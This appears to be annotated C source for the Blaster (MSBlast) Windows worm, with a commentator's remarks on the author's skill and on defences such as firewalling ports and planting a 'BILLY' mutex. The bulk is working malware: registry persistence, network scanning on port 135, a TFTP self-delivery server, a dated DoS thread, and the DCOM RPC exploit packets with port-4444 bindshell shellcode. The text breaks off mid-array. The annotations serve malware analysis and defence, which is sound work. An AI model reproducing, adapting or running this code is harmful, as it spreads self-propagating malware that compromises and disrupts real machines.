Worm for Windows
blaster.cpp
--------------------------------------------------------------------------------
#include <winsock2.h>
#include <ws2tcpip.h> /*IP_HDRINCL*/
#include <wininet.h> /*InternetGetConnectedState*/
#include <stdio.h>
#pragma comment (lib, "ws2_32.lib")
#pragma comment (lib, "wininet.lib")
#pragma comment (lib, "advapi32.lib")
/*
* These strings aren't used in the worm, Buford put them here
* so that whitehat researchers would discover them.
* BUFORD: Note that both of these messages are the typical
* behavior of a teenager who recently discovered love, and
* is in the normal teenage mode of challenging authority.
*/
const char msg1[]="I just want to say LOVE YOU SAN!!";
const char msg2[]="billy gates why do you make this possible ?"
" Stop making money and fix your software!!";
/*
* Buford probably put the worm name as a "define" at the top
* of his program so that he could change the name at any time.
* 2003-09-29: This is the string that Parson changed.
*/
#define MSBLAST_EXE "msblast.exe"
/*
* MS-RPC/DCOM runs over port 135.
* DEFENSE: firewalling port 135 will prevent systems from
* being exploited and will hinder the spread of this worm.
*/
#define MSRCP_PORT_135 135
/*
* The TFTP protocol is defined to run on port 69. Once this
* worm breaks into a victim, it will command it to download
* the worm via TFTP. Therefore, the worms briefly runs a
* TFTP service to deliver that file.
* DEFENSE: firewalling 69/udp will prevent the worm from
* fully infected a host.
*/
#define TFTP_PORT_69 69
/*
* The shell-prompt is established over port 4444. The
* exploit code (in the variable 'sc') commands the victim
* to "bind a shell" on this port. The exploit then connects
* to that port to send commands, such as TFTPing the
* msblast.exe file down and launching it.
* DEFENSE: firewalling 4444/tcp will prevent the worm from
* spreading.
*/
#define SHELL_PORT_4444 4444
/*
* A simple string to hold the current IP address
*/
char target_ip_string[16];
/*
* A global variable to hold the socket for the TFTP service.
*/
int fd_tftp_service;
/*
* Global flag to indicate this thread is running. This
* is set when the thread starts, then is cleared when
* the thread is about to end.
* This demonstrates that Buford isn't confident with
* multi-threaded programming -- he should just check
* the thread handle.
*/
int is_tftp_running;
/*
* When delivering the worm file to the victim, it gets the
* name by querying itself using GetModuleFilename(). This
* makes it easier to change the filename or to launch the
* worm. */
char msblast_filename[256+4];
int ClassD, ClassC, ClassB, ClassA;
int local_class_a, local_class_b;
int winxp1_or_win2k2;
ULONG WINAPI blaster_DoS_thread(LPVOID);
void blaster_spreader();
void blaster_exploit_target(int fd, const char *victim_ip);
void blaster_send_syn_packet(int target_ip, int fd);
/***************************************************************
* This is where the 'msblast.exe' program starts running
***************************************************************/
void main(int argc, char *argv[])
{
WSADATA WSAData;
char myhostname[512];
char daystring[3];
char monthstring[3];
HKEY hKey;
int ThreadId;
register unsigned long scan_local=0;
/*
* Create a registry key that will cause this worm
* to run every time the system restarts.
* DEFENSE: Slammer was "memory-resident" and could
* be cleaned by simply rebooting the machine.
* Cleaning this worm requires this registry entry
* to be deleted.
*/
RegCreateKeyEx(
/*hKey*/ HKEY_LOCAL_MACHINE,
/*lpSubKey*/ "SOFTWARE\\Microsoft\\Windows\\"
"CurrentVersion\\Run",
/*Reserved*/ 0,
/*lpClass*/ NULL,
/*dwOptions*/ REG_OPTION_NON_VOLATILE,
/*samDesired */ KEY_ALL_ACCESS,
/*lpSecurityAttributes*/ NULL,
/*phkResult */ &hKey,
/*lpdwDisposition */ 0);
RegSetvalueExA(
hKey,
"windows auto update",
0,
REG_SZ,
MSBLAST_EXE,
50);
RegCloseKey(hKey);
/*
* Make sure this isn't a second infection. A common problem
* with worms is that they sometimes re-infect the same
* victim repeatedly, eventually crashing it. A crashed
* system cannot spread the worm. Therefore, worm writers
* now make sure to prevent reinfections. The way Blaster
* does this is by creating a system "global" object called
* "BILLY". If another program in the computer has already
* created "BILLY", then this instance won't run.
* DEFENSE: this implies that you can remove Blaster by
* creating a mutex named "BILLY". When the computer
* restarts, Blaster will falsely believe that it has
* already infected the system and will quit.
*/
CreateMutexA(NULL, TRUE, "BILLY");
if (GetLastError() == ERROR_ALREADY_EXISTS)
ExitProcess(0);
/*
* Windows systems requires "WinSock" (the network API layer)
* to be initialized. Note that the SYNflood attack requires
* raw sockets to be initialized, which only works in
* version 2.2 of WinSock.
* BUFORD: The following initialization is needlessly
* complicated, and is typical of programmers who are unsure
* of their knowledge of sockets..
*/
if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0
&& WSAStartup(MAKEWORD(1,1), &WSAData) != 0
&& WSAStartup(1, &WSAData) != 0)
return;
/*
* The worm needs to read itself from the disk when
* transferring to the victim. Rather than using a hard-coded
* location, it discovered the location of itself dynamically
* through this function call. This has the side effect of
* making it easier to change the name of the worm, as well
* as making it easier to launch it.
*/
GetModuleFileNameA(NULL, msblast_filename,
sizeof(msblast_filename));
/*
* When the worm infects a dialup machine, every time the user
* restarts their machine, the worm's network communication
* will cause annoying 'dial' popups for the user. This will
* make them suspect their machine is infected.
* The function call below makes sure that the worm only
* starts running once the connection to the Internet
* has been established and not before.
* BUFORD: I think Buford tested out his code on a machine
* and discovered this problem. Even though much of the
* code indicates he didn't spend much time on
* testing his worm, this line indicates that he did
* at least a little bit of testing.
*/
while (!InternetGetConnectedState(&ThreadId, 0))
Sleep (20000); /*wait 20 seconds and try again */
/*
* Initialize the low-order byte of target IP address to 0.
*/
ClassD = 0;
/*
* The worm must make decisions "randomly": each worm must
* choose different systems to infect. In order to make
* random choices, the programmer must "seed" the random
* number generator. The typical way to do this is by
* seeding it with the current timestamp.
* BUFORD: Later in this code you'll find that Buford calls
* 'srand()' many times to reseed. This is largely
* unnecessary, and again indicates that Buford is not
* confident in his programming skills, so he constantly
* reseeds the generator in order to make extra sure he
* has gotten it right.
*/
srand(GetTickCount());
/*
* This initializes the "local" network to some random
* value. The code below will attempt to figure out what
* the true local network is -- but just in case it fails,
* the initialization fails, using random values makes sure
* the worm won't do something stupid, such as scan the
* network around 0.0.0.0
*/
local_class_a = (rand() % 254)+1;
local_class_b = (rand() % 254)+1;
/*
* This discovers the local IP address used currently by this
* victim machine. Blaster randomly chooses to either infect
* just the local ClassB network, or some other network,
* therefore it needs to know the local network.
* BUFORD: The worm writer uses a complex way to print out
* the IP address into a string, then parse it back again
* to a number. This demonstrates that Buford is fairly
* new to C programming: he thinks in terms of the printed
* representation of the IP address rather than in its
* binary form.
*/
if (gethostname(myhostname, sizeof(myhostname)) != -1) {
HOSTENT *p_hostent = gethostbyname(myhostname);
if (p_hostent != NULL && p_hostent->h_addr != NULL) {
struct in_addr in;
const char *p_addr_item;
memcpy(&in, p_hostent->h_addr, sizeof(in));
sprintf(myhostname, "%s", inet_ntoa(in));
p_addr_item = strtok(myhostname, ".");
ClassA = atoi(p_addr_item);
p_addr_item = strtok(0, ".");
ClassB = atoi(p_addr_item);
p_addr_item = strtok(0, ".");
ClassC = atoi(p_addr_item);
if (ClassC > 20) {
/* When starting from victim's address range,
* try to start a little bit behind. This is
* important because the scanning logic only
* move forward. */
srand(GetTickCount());
ClassC -= (rand() % 20);
}
local_class_a = ClassA;
local_class_b = ClassB;
scan_local = TRUE;
}
}
/*
* This chooses whether Blaster will scan just the local
* network (40% chance) or a random network (60% chance)
*/
srand(GetTickCount());
if ((rand() % 20) < 12)
scan_local = FALSE;
/*
* The known exploits require the hacker to indicate whether
* the victim is WinXP or Win2k. The worm has to guess. The
* way it guesses is that it chooses randomly. 80% of the time
* it will assume that all victims are WinXP, and 20% of the
* time it will assume all victims are Win2k. This means that
* propogation among Win2k machines will be slowed down by
* the fact Win2k machines are getting DoSed faster than they
* are getting exploited.
*/
winxp1_or_win2k2 = 1;
if ((rand()%10) > 7)
winxp1_or_win2k2 = 2;
/*
* If not scanning locally, then choose a random IP address
* to start with.
* BUG: this worm choose bad ranges above 224. This will
* cause a bunch of unnecessary multicast traffic. Weird
* multicast traffic has historically been an easy way of
* detecting worm activity.
*/
if (!scan_local) {
ClassA = (rand() % 254)+1;
ClassB = (rand() % 254);
ClassC = (rand() % 254);
}
/*
* Check the date so that when in the certain range, it will
* trigger a DoS attack against Micosoft. The following
* times will trigger the DoS attack:
* Aug 16 through Aug 31
* Spt 16 through Spt 30
* Oct 16 through Oct 31
* Nov 16 through Nov 30
* Dec 16 through Dec 31
* This applies to all years, and is based on local time.
* FAQ: The worm is based on "local", not "global" time.
* That means the DoS attack will start from Japan,
* then Asia, then Europe, then the United States as the
* time moves across the globe.
*/
#define MYLANG MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT)
#define LOCALE_409 MAKELCID(MYLANG, SORT_DEFAULT)
GetDateformat( LOCALE_409,
0,
NULL, /*localtime, not GMT*/
"d",
daystring,
sizeof(daystring));
GetDateformat( LOCALE_409,
0,
NULL, /*localtime, not GMT*/
"M",
monthstring,
sizeof(monthstring));
if (atoi(daystring) > 15 && atoi(monthstring) > 8)
CreateThread(NULL, 0,
blaster_DoS_thread,
0, 0, &ThreadId);
/*
* As the final task of the program, go into worm mode
* trying to infect systems.
*/
for (;;)
blaster_spreader();
/*
* It'll never reach this point, but in theory, you need a
* WSACleanup() after a WSAStartup().
*/
WSACleanup();
}
/*
* This will be called from CreateThread in the main worm body
* right after it connects to port 4444. After the thread is
* started, it then sends the string "
* tftp -i %d.%d.%d.%d GET msblast.exe" (where the %ds represents
* the IP address of the attacker).
* Once it sends the string, it then waits for 20 seconds for the
* TFTP server to end. If the TFTP server doesn't end, it calls
* TerminateThread.
*/
DWORD WINAPI blaster_tftp_thread(LPVOID p)
{
/*
* This is the protocol format of a TFTP packet. This isn't
* used in the code -- I just provide it here for reference
*/
struct TFTP_Packet
{
short opcode;
short block_id;
char data[512];
};
char reqbuf[512]; /* request packet buffer */
struct sockaddr_in server; /* server-side port number */
struct sockaddr_in client; /* client IP address and port */
int sizeof_client; /* size of the client structure*/
char rspbuf[512]; /* response packet */
static int fd; /* the socket for the server*/
register FILE *fp;
register block_id;
register int block_size;
/* Set a flag indicating this thread is running. The other
* thread will check this for 20 seconds to see if the TFTP
* service is still alive. If this thread is still alive in
* 20 seconds, it will be killed.
*/
is_tftp_running = TRUE; /*1 == TRUE*/
/* Create a server-socket to listen for UDP requests on */
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd == SOCKET_ERROR)
goto closesocket_and_exit;
/* Bind the socket to 69/udp */
memset(&server, 0, sizeof(server));
server.sin_family = AF_INET;
server.sin_port = htons(TFTP_PORT_69);
server.sin_addr.s_addr = 0; /*TFTP server addr = <any>*/
if (bind(fd, (struct sockaddr*)&server, sizeof(server)) != 0)
goto closesocket_and_exit;
/* Receive a packet, any packet. The contents of the received
* packet are ignored. This means, BTW, that a defensive
* "worm-kill" could send a packet from somewhere else. This
* will cause the TFTP server to download the msblast.exe
* file to the wrong location, preventing the victim from
* doing the download. */
sizeof_client = sizeof(client);
if (recvfrom(fd, reqbuf, sizeof(reqbuf), 0,
(struct sockaddr*)&client, &sizeof_client) <= 0)
goto closesocket_and_exit;
/* The TFTP server will respond with many 512 byte blocks
* until it has completely sent the file; each block must
* have a unique ID, and each block must be acknowledged.
* BUFORD: The worm ignores TFTP ACKs. This is probably why
* the worm restarts the TFTP service rather than leaving it
* enabled: it essentially flushes all the ACKs from the
* the incoming packet queue. If the ACKs aren't flushed,
* the worm will incorrectly treat them as TFTP requests.
*/
block_id = 0;
/* Open this file. GetModuleFilename was used to figure out
* this filename. */
fp = fopen(msblast_filename, "rb");
if (fp == NULL)
goto closesocket_and_exit;
/* Continue sending file fragments until none are left */
for (;;) {
block_id++;
/* Build TFTP header */
#define TFTP_OPCODE_DATA 3
*(short*)(rspbuf+0) = htons(TFTP_OPCODE_DATA);
*(short*)(rspbuf+2)= htons((short)block_id);
/* Read next block of data (about 12 blocks total need
* to be read) */
block_size = fread(rspbuf+4, 1, 512, fp);
/* Increase the effective length to include the TFTP
* head built above */
block_size += 4;
/* Send this block */
if (sendto(fd, (char*)&rspbuf, block_size,
0, (struct sockaddr*)&client, sizeof_client) <= 0)
break;
/* Sleep for a bit.
* The reason for this is because the worm doesn't care
* about retransmits -- it therefore must send these
* packets slow enough so congestion doesn't drop them.
* If it misses a packet, then it will DoS the victim
* without actually infecting it. Worse: the intended
* victim will continue to send packets, preventing the
* worm from infecting new systems because the
* requests will misdirect TFTP. This design is very
* bad, and is my bet as the biggest single factor
* that slows down the worm. */
Sleep(900);
/* File transfer ends when the last block is read, which
* will likely be smaller than a full-sized block*/
if (block_size != sizeof(rspbuf)) {
fclose(fp);
fp = NULL;
break;
}
}
if (fp != NULL)
fclose(fp);
closesocket_and_exit:
/* Notify that the thread has stopped, so that the waiting
* thread can continue on */
is_tftp_running = FALSE;
closesocket(fd);
ExitThread(0);
return 0;
}
/*
* This function increments the IP address.
* BUFORD: This conversion from numbers, to strings, then back
* to number is overly complicated. Experienced programmers
* would simply store the number and increment it. This shows
* that Buford does not have much experience work with
* IP addresses.
*/
void blaster_increment_ip_address()
{
for (;;) {
if (ClassD <= 254) {
ClassD++;
return;
}
ClassD = 0;
ClassC++;
if (ClassC <= 254)
return;
ClassC = 0;
ClassB++;
if (ClassB <= 254)
return;
ClassB = 0;
ClassA++;
if (ClassA <= 254)
continue;
ClassA = 0;
return;
}
}
/*
* This is called from the main() function in an
* infinite loop. It scans the next 20 addresses,
* then exits.
*/
void blaster_spreader()
{
fd_set writefds;
register int i;
struct sockaddr_in sin;
struct sockaddr_in peer;
int sizeof_peer;
int sockarray[20];
int opt = 1;
const char *victim_ip;
/* Create the beginnings of a "socket-address" structure that
* will be used repeatedly below on the 'connect()' call for
* each socket. This structure specified port 135, which is
* the port used for RPC/DCOM. */
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(MSRCP_PORT_135);
/* Create an array of 20 socket descriptors */
for (i=0; i<20; i++) {
sockarray[i] = socket(AF_INET, SOCK_STREAM, 0);
if (sockarray[i] == -1)
return;
ioctlsocket(sockarray[i], FIONBIO , &opt);
}
/* Initiate a "non-blocking" connection on all 20 sockets
* that were created above.
* FAQ: Essentially, this means that the worm has 20
* "threads" -- even though they aren't true threads.
*/
for (i=0; i<20; i++) {
int ip;
blaster_increment_ip_address();
sprintf(target_ip_string, "%i.%i.%i.%i",
ClassA, ClassB, ClassC, ClassD);
ip = inet_addr(target_ip_string);
if (ip == -1)
return;
sin.sin_addr.s_addr = ip;
connect(sockarray[i],(struct sockaddr*)&sin,sizeof(sin));
}
/* Wait 1.8-seconds for a connection.
* BUG: this is often not enough, especially when a packet
* is lost due to congestion. A small timeout actually makes
* the worm slower than faster */
Sleep(1800);
/* Now test to see which of those 20 connections succeeded.
* BUFORD: a more experienced programmer would have done
* a single 'select()' across all sockets rather than
* repeated calls for each socket. */
for (i=0; i<20; i++) {
struct timeval timeout;
int nfds;
timeout.tv_sec = 0;
timeout.tv_usec = 0;
nfds = 0;
FD_ZERO(&writefds);
FD_SET((unsigned)sockarray[i], &writefds);
if (select(0, NULL, &writefds, NULL, &timeout) != 1) {
closesocket(sockarray[i]);
} else {
sizeof_peer = sizeof(peer);
getpeername(sockarray[i],
(struct sockaddr*)&peer, &sizeof_peer);
victim_ip = inet_ntoa(peer.sin_addr);
/* If connection succeeds, exploit the victim */
blaster_exploit_target(sockarray[i], victim_ip);
closesocket(sockarray[i]);
}
}
}
/*
* This is where the victim is actually exploited. It is the same
* exploit as created by xfocus and altered by HDMoore.
* There are a couple of differences. The first is that the in
* those older exploits, this function itself would create the
* socket and connect, whereas in Blaster, the socket is already
* connected to the victim via the scanning function above. The
* second difference is that the packets/shellcode blocks are
* declared as stack variables rather than as static globals.
* Finally, whereas the older exploits give the hacker a
* "shell prompt", this one automates usage of the shell-prompt
* to tell the victim to TFTP the worm down and run it.
*/
void blaster_exploit_target(int sock, const char *victim_ip)
{
/* These blocks of data are just the same ones copied from the
* xfocus exploit prototype. Whereas the original exploit
* declared these as "static" variables, Blaster declares
* these as "stack" variables. This is because the xfocus
* exploit altered them -- they must be reset back to their
* original values every time. */
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};
unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};
unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
unsigned char sc[]=
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x46\x00\x58\x00"
"\xff\xff\xff\xff" /* return address */
"\xcc\xe0\xfd\x7f" /* primary thread data block */
"\xcc\xe0\xfd\x7f" /* primary thread data block */
/* port 4444 bindshell */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"
"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";
unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
